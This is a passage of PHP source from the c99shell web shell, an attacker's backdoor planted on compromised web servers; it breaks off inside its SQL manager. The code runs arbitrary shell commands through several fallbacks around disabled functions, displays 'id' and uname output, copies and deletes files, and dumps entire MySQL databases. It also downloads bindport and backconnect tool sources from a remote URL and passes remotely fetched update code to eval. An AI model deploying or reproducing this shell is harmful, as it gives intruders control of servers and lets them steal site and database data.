                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_copy_dir($d, $t);
            }
            elseif (is_file($d))
            {
                return copy($d, $t);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_move_dir"))
    {
        function fs_move_dir($d, $t)
        {
            $h = opendir($d);
            if (!is_dir($t))
            {
                mkdir($t);
            }
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    $ret = true;
                    if (!is_dir($d . DIRECTORY_SEPARATOR . $o))
                    {
                        $ret = copy($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o);
                    }
                    else
                    {
                        if (mkdir($t . DIRECTORY_SEPARATOR . $o) and fs_copy_dir($d . DIRECTORY_SEPARATOR . $o, $t . DIRECTORY_SEPARATOR . $o))
                        {
                            $ret = false;
                        }
                    }
                    if (!$ret)
                    {
                        return $ret;
                    }
                }
            }
            closedir($h);
            return true;
        }
    }
    if (!function_exists("fs_move_obj"))
    {
        function fs_move_obj($d, $t)
        {
            $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
            $t = str_replace("\\", DIRECTORY_SEPARATOR, $t);
            if (is_dir($d))
            {
                if (substr($d, -1) != DIRECTORY_SEPARATOR)
                {
                    $d .= DIRECTORY_SEPARATOR;
                }
                if (substr($t, -1) != DIRECTORY_SEPARATOR)
                {
                    $t .= DIRECTORY_SEPARATOR;
                }
                return fs_move_dir($d, $t);
            }
            elseif (is_file($d))
            {
                if (copy($d, $t))
                {
                    return unlink($d);
                }
                else
                {
                    unlink($t);
                    return false;
                }
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("fs_rmdir"))
    {
        function fs_rmdir($d)
        {
            $h = opendir($d);
            while (($o = readdir($h)) !== false)
            {
                if (($o != ".") and ($o != ".."))
                {
                    if (!is_dir($d . $o))
                    {
                        unlink($d . $o);
                    }
                    else
                    {
                        fs_rmdir($d . $o . DIRECTORY_SEPARATOR);
                        rmdir($d . $o);
                    }
                }
            }
            closedir($h);
            rmdir($d);
            return !is_dir($d);
        }
    }
    if (!function_exists("fs_rmobj"))
    {
        function fs_rmobj($o)
        {
            $o = str_replace("\\", DIRECTORY_SEPARATOR, $o);
            if (is_dir($o))
            {
                if (substr($o, -1) != DIRECTORY_SEPARATOR)
                {
                    $o .= DIRECTORY_SEPARATOR;
                }
                return fs_rmdir($o);
            }
            elseif (is_file($o))
            {
                return unlink($o);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("myshellexec"))
    {
        function myshellexec($cmd)
        {
            global $disablefunc;
            $result = "";
            if (!empty($cmd))
            {
                if (is_callable("exec") and !in_array("exec", $disablefunc))
                {
                    exec($cmd, $result);
                    $result = join("\n", $result);
                }
                elseif (($result = `$cmd`) !== false)
                {
                }
                elseif (is_callable("system") and !in_array("system", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    system($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_callable("passthru") and !in_array("passthru", $disablefunc))
                {
                    $v = @ob_get_contents();
                    @ob_clean();
                    passthru($cmd);
                    $result = @ob_get_contents();
                    @ob_clean();
                    echo $v;
                }
                elseif (is_resource($fp = popen($cmd, "r")))
                {
                    $result = "";
                    while (!feof($fp))
                    {
                        $result .= fread($fp, 1024);
                    }
                    pclose($fp);
                }
            }
            return $result;
        }
    }
    if (!function_exists("tabsort"))
    {
        function tabsort($a, $b)
        {
            global $v;
            return strnatcmp($a[$v], $b[$v]);
        }
    }
    if (!function_exists("view_perms"))
    {
        function view_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $type = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $type = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $type = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $type = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $type = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $type = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $type = "p";
            }
            else
            {
                $type = "?";
            }
            $owner["read"] = ($mode & 00400) ? "r" : "-";
            $owner["write"] = ($mode & 00200) ? "w" : "-";
            $owner["execute"] = ($mode & 00100) ? "x" : "-";
            $group["read"] = ($mode & 00040) ? "r" : "-";
            $group["write"] = ($mode & 00020) ? "w" : "-";
            $group["execute"] = ($mode & 00010) ? "x" : "-";
            $world["read"] = ($mode & 00004) ? "r" : "-";
            $world["write"] = ($mode & 00002) ? "w" : "-";
            $world["execute"] = ($mode & 00001) ? "x" : "-";
            if ($mode & 0x800)
            {
                $owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x400)
            {
                $group["execute"] = ($group["execute"] == "x") ? "s" : "S";
            }
            if ($mode & 0x200)
            {
                $world["execute"] = ($world["execute"] == "x") ? "t" : "T";
            }
            return $type . join("", $owner) . join("", $group) . join("", $world);
        }
    }
    if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid", $disablefunc))
    {
        function posix_getpwuid($uid)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid", $disablefunc))
    {
        function posix_getgrgid($gid)
        {
            return false;
        }
    }
    if (!function_exists("posix_kill") and !in_array("posix_kill", $disablefunc))
    {
        function posix_kill($gid)
        {
            return false;
        }
    }
    if (!function_exists("parse_perms"))
    {
        function parse_perms($mode)
        {
            if (($mode & 0xC000) === 0xC000)
            {
                $t = "s";
            }
            elseif (($mode & 0x4000) === 0x4000)
            {
                $t = "d";
            }
            elseif (($mode & 0xA000) === 0xA000)
            {
                $t = "l";
            }
            elseif (($mode & 0x8000) === 0x8000)
            {
                $t = "-";
            }
            elseif (($mode & 0x6000) === 0x6000)
            {
                $t = "b";
            }
            elseif (($mode & 0x2000) === 0x2000)
            {
                $t = "c";
            }
            elseif (($mode & 0x1000) === 0x1000)
            {
                $t = "p";
            }
            else
            {
                $t = "?";
            }
            $o["r"] = ($mode & 00400) > 0;
            $o["w"] = ($mode & 00200) > 0;
            $o["x"] = ($mode & 00100) > 0;
            $g["r"] = ($mode & 00040) > 0;
            $g["w"] = ($mode & 00020) > 0;
            $g["x"] = ($mode & 00010) > 0;
            $w["r"] = ($mode & 00004) > 0;
            $w["w"] = ($mode & 00002) > 0;
            $w["x"] = ($mode & 00001) > 0;
            return array(
                "t" => $t,
                "o" => $o,
                "g" => $g,
                "w" => $w
            );
        }
    }
    if (!function_exists("parsesort"))
    {
        function parsesort($sort)
        {
            $one = intval($sort);
            $second = substr($sort, -1);
            if ($second != "d")
            {
                $second = "a";
            }
            return array(
                $one,
                $second
            );
        }
    }
    if (!function_exists("view_perms_color"))
    {
        function view_perms_color($o)
        {
            if (!is_readable($o))
            {
                return "<font color=red>" . view_perms(fileperms($o)) . "</font>";
            }
            elseif (!is_writable($o))
            {
                return "<font color=white>" . view_perms(fileperms($o)) . "</font>";
            }
            else
            {
                return "<font color=green>" . view_perms(fileperms($o)) . "</font>";
            }
        }
    }
    if (!function_exists("c99getsource"))
    {
        function c99getsource($fn)
        {
            global $c99sh_sourcesurl;
            $array = array(
                "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
                "c99sh_bindport.c" => "c99sh_bindport_c.txt",
                "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
                "c99sh_backconn.c" => "c99sh_backconn_c.txt",
                "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
                "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
            );
            $name = $array[$fn];
            if ($name)
            {
                return file_get_contents($c99sh_sourcesurl . $name);
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("c99sh_getupdate"))
    {
        function c99sh_getupdate($update = true)
        {
            $url = $GLOBALS["c99sh_updateurl"] . "?version=" . urlencode(base64_encode($GLOBALS["shver"])) . "&updatenow=" . ($updatenow ? "1" : "0") . "&";
            $data = @file_get_contents($url);
            if (!$data)
            {
                return "Can't connect to update-server!";
            }
            else
            {
                $data = ltrim($data);
                $string = substr($data, 3, ord($data{2}));
                if ($data{0} == "\x99" and $data{1} == "\x01")
                {
                    return "Error: " . $string;
                    return false;
                }
                if ($data{0} == "\x99" and $data{1} == "\x02")
                {
                    return "You are using latest version!";
                }
                if ($data{0} == "\x99" and $data{1} == "\x03")
                {
                    $string = explode("\x01", $string);
                    if ($update)
                    {
                        $confvars = array();
                        $sourceurl = $string[0];
                        $source = file_get_contents($sourceurl);
                        if (!$source)
                        {
                            return "Can't fetch update!";
                        }
                        else
                        {
                            $fp = fopen(__FILE__, "w");
                            if (!$fp)
                            {
                                return "Local error: can't write update to " . __FILE__ . "! You may download c99shell.php manually <a href=\"" . $sourceurl . "\"><u>here</u></a>.";
                            }
                            else
                            {
                                fwrite($fp, $source);
                                fclose($fp);
                                return "Thanks! Updated with success.";
                            }
                        }
                    }
                    else
                    {
                        return "New version are available: " . $string[1];
                    }
                }
                elseif ($data{0} == "\x99" and $data{1} == "\x04")
                {
                    eval($string);
                    return 1;
                }
                else
                {
                    return "Error in protocol: segmentation failed! (" . $data . ") ";
                }
            }
        }
    }
    if (!function_exists("mysql_dump"))
    {
        function mysql_dump($set)
        {
            global $shver;
            $sock = $set["sock"];
            $db = $set["db"];
            $print = $set["print"];
            $nl2br = $set["nl2br"];
            $file = $set["file"];
            $add_drop = $set["add_drop"];
            $tabs = $set["tabs"];
            $onlytabs = $set["onlytabs"];
            $ret = array();
            $ret["err"] = array();
            if (!is_resource($sock))
            {
                echo ("Error: \$sock is not valid resource.");
            }
            if (empty($db))
            {
                $db = "db";
            }
            if (empty($print))
            {
                $print = 0;
            }
            if (empty($nl2br))
            {
                $nl2br = 0;
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (empty($file))
            {
                $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
            }
            if (!is_array($tabs))
            {
                $tabs = array();
            }
            if (empty($add_drop))
            {
                $add_drop = true;
            }
            if (sizeof($tabs) == 0)
            {
                $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
                if (mysql_num_rows($res) > 0)
                {
                    while ($row = mysql_fetch_row($res))
                    {
                        $tabs[] = $row[0];
                    }
                }
            }
            $out = "# Dumped by C99Shell.SQL v. " . $shver . "
					# Home page: https://github.com/KaizenLouie/C99Shell-PHP7
					#
					# Host settings:
					# MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "
					# Date: " . date("d.m.Y H:i:s") . "
					# DB: \"" . $db . "\"
					#---------------------------------------------------------
";
            $c = count($onlytabs);
            foreach ($tabs as $tab)
            {
                if ((in_array($tab, $onlytabs)) or (!$c))
                {
                    if ($add_drop)
                    {
                        $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
                    }
                    $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
                    if (!$res)
                    {
                        $ret["err"][] = mysql_smarterror();
                    }
                    else
                    {
                        $row = mysql_fetch_row($res);
                        $out .= $row["1"] . ";\n\n";
                        $res = mysql_query("SELECT * FROM `$tab`", $sock);
                        if (mysql_num_rows($res) > 0)
                        {
                            while ($row = mysql_fetch_assoc($res))
                            {
                                $keys = implode("`, `", array_keys($row));
                                $values = array_values($row);
                                foreach ($values as $k => $v)
                                {
                                    $values[$k] = addslashes($v);
                                }
                                $values = implode("', '", $values);
                                $sql = "INSERT INTO `$tab`(`" . $keys . "`) VALUES ('" . $values . "');\n";
                                $out .= $sql;
                            }
                        }
                    }
                }
            }
            $out .= "#---------------------------------------------------------------------------------\n\n";
            if ($file)
            {
                $fp = fopen($file, "w");
                if (!$fp)
                {
                    $ret["err"][] = 2;
                }
                else
                {
                    fwrite($fp, $out);
                    fclose($fp);
                }
            }
            if ($print)
            {
                if ($nl2br)
                {
                    echo nl2br($out);
                }
                else
                {
                    echo $out;
                }
            }
            return $out;
        }
    }
    if (!function_exists("mysql_buildwhere"))
    {
        function mysql_buildwhere($array, $sep = " and", $functs = array())
        {
            if (!is_array($array))
            {
                $array = array();
            }
            $result = "";
            foreach ($array as $k => $v)
            {
                $value = "";
                if (!empty($functs[$k]))
                {
                    $value .= $functs[$k] . "(";
                }
                $value .= "'" . addslashes($v) . "'";
                if (!empty($functs[$k]))
                {
                    $value .= ")";
                }
                $result .= "`" . $k . "` = " . $value . $sep;
            }
            $result = substr($result, 0, strlen($result) - strlen($sep));
            return $result;
        }
    }
    if (!function_exists("mysql_fetch_all"))
    {
        function mysql_fetch_all($query, $sock)
        {
            if ($sock)
            {
                $result = mysql_query($query, $sock);
            }
            else
            {
                $result = mysql_query($query);
            }
            $array = array();
            while ($row = mysql_fetch_array($result))
            {
                $array[] = $row;
            }
            mysql_free_result($result);
            return $array;
        }
    }
    if (!function_exists("mysql_smarterror"))
    {
        function mysql_smarterror($type, $sock)
        {
            if ($sock)
            {
                $error = mysql_error($sock);
            }
            else
            {
                $error = mysql_error();
            }
            $error = htmlspecialchars($error);
            return $error;
        }
    }
    if (!function_exists("mysql_query_form"))
    {
        function mysql_query_form()
        {
            global $submit, $sql_act, $sql_query, $sql_query_result, $sql_confirm, $sql_query_error, $tbl_struct;
            if (($submit) and (!$sql_query_result) and ($sql_confirm))
            {
                if (!$sql_query_error)
                {
                    $sql_query_error = "Query was empty";
                }
                echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
            }
            if ($sql_query_result or (!$sql_confirm))
            {
                $sql_act = $sql_goto;
            }
            if ((!$submit) or ($sql_act))
            {
                echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>";
                if (($sql_query) and (!$submit))
                {
                    echo "Do you really want to";
                }
                else
                {
                    echo "SQL-Query";
                }
                echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
                if ($tbl_struct)
                {
                    echo "<td valign=\"top\"><b>Fields:</b><br>";
                    foreach ($tbl_struct as $field)
                    {
                        $name = $field["Field"];
                        echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
                    }
                    echo "</td></tr></table>";
                }
            }
            if ($sql_query_result or (!$sql_confirm))
            {
                $sql_query = $sql_last_query;
            }
        }
    }
    if (!function_exists("mysql_create_db"))
    {
        function mysql_create_db($db, $sock = "")
        {
            $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
            if ($sock)
            {
                return mysql_query($sql, $sock);
            }
            else
            {
                return mysql_query($sql);
            }
        }
    }
    if (!function_exists("mysql_query_parse"))
    {
        function mysql_query_parse($query)
        {
            $query = trim($query);
            $arr = explode(" ", $query);
            $types = array(
                "SELECT" => array(
                    3,
                    1
                ) ,
                "SHOW" => array(
                    2,
                    1
                ) ,
                "DELETE" => array(
                    1
                ) ,
                "DROP" => array(
                    1
                )
            );
            $result = array();
            $op = strtoupper($arr[0]);
            if (is_array($types[$op]))
            {
                $result["propertions"] = $types[$op];
                $result["query"] = $query;
                if ($types[$op] == 2)
                {
                    foreach ($arr as $k => $v)
                    {
                        if (strtoupper($v) == "LIMIT")
                        {
                            $result["limit"] = $arr[$k + 1];
                            $result["limit"] = explode(",", $result["limit"]);
                            if (count($result["limit"]) == 1)
                            {
                                $result["limit"] = array(
                                    0,
                                    $result["limit"][0]
                                );
                            }
                            unset($arr[$k], $arr[$k + 1]);
                        }
                    }
                }
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("c99fsearch"))
    {
        function c99fsearch($d)
        {
            global $found;
            global $found_d;
            global $found_f;
            global $search_i_f;
            global $search_i_d;
            global $a;
            if (substr($d, -1) != DIRECTORY_SEPARATOR)
            {
                $d .= DIRECTORY_SEPARATOR;
            }
            $h = opendir($d);
            while (($f = readdir($h)) !== false)
            {
                if ($f != "." && $f != "..")
                {
                    $bool = (empty($a["name_regexp"]) and strpos($f, $a["name"]) !== false) || ($a["name_regexp"] and preg_match($a["name"], $f));
                    if (is_dir($d . $f))
                    {
                        $search_i_d++;
                        if (empty($a["text"]) and $bool)
                        {
                            $found[] = $d . $f;
                            $found_d++;
                        }
                        if (!is_link($d . $f))
                        {
                            c99fsearch($d . $f);
                        }
                    }
                    else
                    {
                        $search_i_f++;
                        if ($bool)
                        {
                            if (!empty($a["text"]))
                            {
                                $r = @file_get_contents($d . $f);
                                if ($a["text_wwo"])
                                {
                                    $a["text"] = " " . trim($a["text"]) . " ";
                                }
                                if (!$a["text_cs"])
                                {
                                    $a["text"] = strtolower($a["text"]);
                                    $r = strtolower($r);
                                }
                                if ($a["text_regexp"])
                                {
                                    $bool = preg_match($a["text"], $r);
                                }
                                else
                                {
                                    $bool = strpos(" " . $r, $a["text"], 1);
                                }
                                if ($a["text_not"])
                                {
                                    $bool = !$bool;
                                }
                                if ($bool)
                                {
                                    $found[] = $d . $f;
                                    $found_f++;
                                }
                            }
                            else
                            {
                                $found[] = $d . $f;
                                $found_f++;
                            }
                        }
                    }
                }
            }
            closedir($h);
        }
    }
    if ($act == "gofile")
    {
        if (is_dir($f))
        {
            $act = "ls";
            $d = $f;
        }
        else
        {
            $act = "f";
            $d = dirname($f);
            $f = basename($f);
        }
    }
    @ob_start();
    @ob_implicit_flush(0);
    function onphpshutdown()
    {
        global $gzipencode, $ft;
        if (!headers_sent() and $gzipencode and !in_array($ft, array(
            "img",
            "download",
            "notepad"
        )))
        {
            $v = @ob_get_contents();
            @ob_end_clean();
            @ob_start("ob_gzHandler");
            echo $v;
            @ob_end_flush();
        }
    }
    function c99shexit()
    {
        onphpshutdown();
        exit;
    }
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    if (empty($tmpdir))
    {
        $tmpdir = ini_get("upload_tmp_dir");
        if (is_dir($tmpdir))
        {
            $tmpdir = "/tmp/";
        }
    }
    $tmpdir = realpath($tmpdir);
    $tmpdir = str_replace("\\", DIRECTORY_SEPARATOR, $tmpdir);
    if (substr($tmpdir, -1) != DIRECTORY_SEPARATOR)
    {
        $tmpdir .= DIRECTORY_SEPARATOR;
    }
    if (empty($tmpdir_logs))
    {
        $tmpdir_logs = $tmpdir;
    }
    else
    {
        $tmpdir_logs = realpath($tmpdir_logs);
    }
    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    {
        $safemode = true;
        $hsafemode = "<font color=red>ON (secure)</font>";
    }
    else
    {
        $safemode = false;
        $hsafemode = "<font color=green>OFF (not secure)</font>";
    }
    $v = @ini_get("open_basedir");
    if ($v or strtolower($v) == "on")
    {
        $openbasedir = true;
        $hopenbasedir = "<font color=red>" . $v . "</font>";
    }
    else
    {
        $openbasedir = false;
        $hopenbasedir = "<font color=green>OFF (not secure)</font>";
    }
    $sort = htmlspecialchars($sort);
    if (empty($sort))
    {
        $sort = $sort_default;
    }
    $sort[1] = strtolower($sort[1]);
    $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
    if (!preg_match("PHP/" . phpversion() , $DISP_SERVER_SOFTWARE))
    {
        $DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion();
    }
    $DISP_SERVER_SOFTWARE = str_replace("PHP/" . phpversion() , "<a href=\"" . $surl . "act=phpinfo\" target=\"_blank\"><b><u>PHP/" . phpversion() . "</u></b></a>", htmlspecialchars($DISP_SERVER_SOFTWARE));
    @ini_set("highlight.bg", $highlight_bg);
    @ini_set("highlight.comment", $highlight_comment);
    @ini_set("highlight.default", $highlight_default);
    @ini_set("highlight.html", $highlight_html);
    @ini_set("highlight.keyword", $highlight_keyword);
    @ini_set("highlight.string", $highlight_string);
    if (!is_array($actbox))
    {
        $actbox = array();
    }
    $dspact = $act = htmlspecialchars($act);
    $disp_fullpath = $ls_arr = $notls = null;
    $ud = urlencode($d); ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname() , 90, "<br>", 1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win)
    {
        echo wordwrap(myshellexec("id") , 90, "<br>", 1);
    }
    else
    {
        echo get_current_user();
    } ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
    if (empty($d))
    {
        $d = realpath(".");
    }
    elseif (realpath($d))
    {
        $d = realpath($d);
    }
    $d = str_replace("\\", DIRECTORY_SEPARATOR, $d);
    if (substr($d, -1) != DIRECTORY_SEPARATOR)
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $d = str_replace("\\\\", "\\", $d);
    $dispd = htmlspecialchars($d);
    $pd = $e = explode(DIRECTORY_SEPARATOR, substr($d, 0, -1));
    $i = 0;
    foreach ($pd as $b)
    {
        $t = "";
        $j = 0;
        foreach ($e as $r)
        {
            $t .= $r . DIRECTORY_SEPARATOR;
            if ($j == $i)
            {
                break;
            }
            $j++;
        }
        echo "<a href=\"" . $surl . "act=ls&d=" . urlencode($t) . "&sort=" . $sort . "\"><b>" . htmlspecialchars($b) . DIRECTORY_SEPARATOR . "</b></a>";
        $i++;
    }
    echo "&nbsp;&nbsp;&nbsp;";
    if (is_writable($d))
    {
        $wd = true;
        $wdt = "<font color=green>[ ok ]</font>";
        echo "<b><font color=green>" . view_perms(fileperms($d)) . "</font></b>";
    }
    else
    {
        $wd = false;
        $wdt = "<font color=red>[ Read-Only ]</font>";
        echo "<b>" . view_perms_color($d) . "</b>";
    }
    if (is_callable("disk_free_space"))
    {
        $free = disk_free_space($d);
        $total = disk_total_space($d);
        if ($free === false)
        {
            $free = 0;
        }
        if ($total === false)
        {
            $total = 0;
        }
        if ($free < 0)
        {
            $free = 0;
        }
        if ($total < 0)
        {
            $total = 0;
        }
        $used = $total - $free;
        $free_percent = round(100 / ($total / $free) , 2);
        echo "<br><b>Free " . view_size($free) . " of " . view_size($total) . " (" . $free_percent . "%)</b>";
    }
    echo "<br>";
    $letters = "";
    if ($win)
    {
        $v = explode("\\", $d);
        $v = $v[0];
        foreach (range("a", "z") as $letter)
        {
            $bool = $isdiskette = in_array($letter, $safemode_diskettes);
            if (!$bool)
            {
                $bool = is_dir($letter . ":\\");
            }
            if ($bool)
            {
                $letters .= "<a href=\"" . $surl . "act=ls&d=" . urlencode($letter . ":\\") . "\"" . ($isdiskette ? " onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"" : "") . ">[ ";
                if ($letter . ":" != $v)
                {
                    $letters .= $letter;
                }
                else
                {
                    $letters .= "<font color=green>" . $letter . "</font>";
                }
                $letters .= " ]</a> ";
            }
        }
        if (!empty($letters))
        {
            echo "<b>Detected drives</b>: " . $letters . "<br>";
        }
    }
    if (count($quicklaunch) > 0)
    {
        foreach ($quicklaunch as $item)
        {
            $item[1] = str_replace("%d", urlencode($d) , $item[1]);
            $item[1] = str_replace("%sort", $sort, $item[1]);
            $v = realpath($d . "..");
            if (empty($v))
            {
                $a = explode(DIRECTORY_SEPARATOR, $d);
                unset($a[count($a) - 2]);
                $v = join(DIRECTORY_SEPARATOR, $a);
            }
            $item[1] = str_replace("%upd", urlencode($v) , $item[1]);
            echo "<a href=\"" . $item[1] . "\">" . $item[0] . "</a>&nbsp;&nbsp;&nbsp;&nbsp;";
        }
    }
    echo "</p></td></tr></table><br>";
    if ((!empty($donated_html)) and (in_array($act, $donated_act)))
    {
        echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">" . $donated_html . "</td></tr></table><br>";
    }
    echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
    if ($act == "")
    {
        $act = $dspact = "ls";
    }
    if ($act == "sql")
    {
        $sql_surl = $surl . "act=sql";
        if ($sql_login)
        {
            $sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
        }
        if ($sql_passwd)
        {
            $sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
        }
        if ($sql_server)
        {
            $sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
        }
        if ($sql_port)
        {
            $sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
        }
        if ($sql_db)
        {
            $sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
        }
        $sql_surl .= "&"; ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php if ($sql_server)
        {
            $sql_sock = mysql_connect($sql_server . ":" . $sql_port, $sql_login, $sql_passwd);
            $err = mysql_smarterror();
            @mysql_select_db($sql_db, $sql_sock);
            if ($sql_query and $submit)
            {
                $sql_query_result = mysql_query($sql_query, $sql_sock);
                $sql_query_error = mysql_smarterror();
            }
        }
        else
        {
            $sql_sock = false;
        }
        echo "<b>SQL Manager:</b><br>";
        if (!$sql_sock)
        {
            if (!$sql_server)
            {
                echo "NO CONNECTION";
            }
            else
            {
                echo "<center><b>Can't connect</b></center>";
                echo "<b>" . $err . "</b>";
            }
        }
        else
        {
            $sqlquicklaunch = array();
            $sqlquicklaunch[] = array(
                "Index",
